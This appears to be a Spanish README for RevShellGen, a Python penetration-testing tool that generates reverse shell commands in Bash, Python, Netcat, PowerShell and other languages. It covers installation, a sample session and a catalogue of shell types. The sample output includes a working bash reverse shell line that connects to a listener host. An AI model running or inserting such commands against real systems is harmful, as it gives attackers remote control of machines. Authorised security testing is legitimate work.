
Generador de shell reversa escrito en Python 3.
Generador de Reverse Shell
Automatiza la generación de reverse shells con estilo
Genera, codifica y captura reverse shells sin complicaciones
Características • Instalación • Uso • Tipos de shells • Contribuir
RevShellGen es una potente herramienta de línea de comandos que simplifica el proceso de generación de comandos reverse shell. Olvídate de buscar sintaxis, de la codificación manual y de los dolores de cabeza de configuración. Esta herramienta lo maneja todo con una interfaz intuitiva.
# Instalar desde PyPI
pip install revshellgen
# Ejecutar la herramienta
revshellgen
# Clonar el repositorio
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
# Instalar dependencias
pip3 install -r requirements.txt
# Ejecutar la herramienta
python3 revshellgen.py # o python3 revshellgen_cli.py
RevShellGen requiere los siguientes paquetes de Python:
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 setup.py install
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
python3 -m venv venv
source venv/bin/activate # En Windows: venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install pyperclip colorama readchar netifaces
git clone https://github.com/t0thkr1s/revshellgen
cd revshellgen
pip3 install --user -r requirements.txt
# Puede que necesites instalar python3-dev
sudo apt-get install python3-dev # Debian/Ubuntu
sudo yum install python3-devel # RHEL/CentOS
# Instalar ncat para mejor soporte del listener
brew install nmap # Incluye ncat
Inicia la herramienta
python3 revshellgen.py
Configura tu reverse shell
El comando generado se copia automáticamente al portapapeles
Inicia el listener (automático)
Ejecuta el comando en la máquina objetivo
![]() Selección de shell |
![]() Generación de comando |
RevShellGen ahora incluye instrucciones completas para la actualización de TTY. Después de capturar una shell, la herramienta proporciona:
La herramienta detecta automáticamente y usa la variante de netcat adecuada:
ncat (preferido, del paquete nmap)nc (netcat tradicional)nc específica para macOS$ python3 revshellgen.py
__ __ __
____ ___ _ __ ___ / / ___ / / / / ___ _ ___ ___
/ __// -_)| |/ / (_-< / _ \/ -_) / / / / / _ `// -_) / _ \
/_/ \__/ |___/ /___//_//_\__/ /_/ /_/ \_, / \__/ /_//_/
/___/
---------- [ SELECT IP ] ----------
[ x ] 192.168.1.10 on eth0
[ ] 10.0.0.5 on tun0
[ ] Specify manually
---------- [ SPECIFY PORT ] ----------
[ # ] Enter port number : 4444
---------- [ SELECT COMMAND ] ----------
[ x ] unix_bash
[ ] unix_python
[ ] unix_nc_mkfifo
...
---------- [ REVERSE SHELL COMMAND ] ----------
bash -i >& /dev/tcp/192.168.1.10/4444 0>&1
[ + ] Command copied to clipboard!
[ + ] Starting listener on port 4444...
¡Las contribuciones son bienvenidas! No dudes en enviar un Pull Request. Para cambios importantes, abre primero un issue para discutir lo que te gustaría modificar.
# Clona tu fork
git clone https://github.com/TU_USUARIO/revshellgen
cd revshellgen
# Crea una rama
git checkout -b feature/nombre-de-tu-funcionalidad
# Haz tus cambios y confírmalos
git add .
git commit -m "Añade tu funcionalidad"
# Sube a tu fork
git push origin feature/nombre-de-tu-funcionalidad
# Crea un Pull Request
¿Encontraste un error o tienes una sugerencia? Por favor, abre un issue en GitHub.
Este proyecto está licenciado bajo la Licencia Pública General de GNU v3.0 - consulta el archivo LICENSE para más detalles.
Esta herramienta está destinada exclusivamente a pruebas de penetración autorizadas y fines educativos.
El uso de esta herramienta contra sistemas que no posees o para los que no tienes permiso explícito de pruebas es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no se hacen responsables de cualquier uso indebido o daño causado por este programa.
| Paquete | Propósito |
|---|
pyperclip | Operaciones del portapapeles |
colorama | Colores en el terminal |
readchar | Entrada interactiva de teclas |
netifaces | Detección de interfaces de red |
| Tipo de shell | Descripción | Plataforma |
|---|
| Bash | Reverse shell TCP en Bash | Linux/Unix |
| Python | Reverse shell basada en Python | Multiplataforma |
| Netcat | Reverse shell nc tradicional | Linux/Unix |
| Netcat mkfifo | Netcat con tubería con nombre | Linux/Unix |
| Perl | Reverse shell basada en Perl | Multiplataforma |
| PHP | Reverse shell PHP | Multiplataforma |
| Ruby | Reverse shell basada en Ruby | Multiplataforma |
| Java | Reverse shell Java | Multiplataforma |
| AWK | Reverse shell AWK | Linux/Unix |
| Socat | Reverse shell Socat | Linux/Unix |
| Socat TTY | Socat con TTY completo | Linux/Unix |
| Telnet | Reverse shell Telnet | Linux/Unix |
| PowerShell | Windows PowerShell | Windows |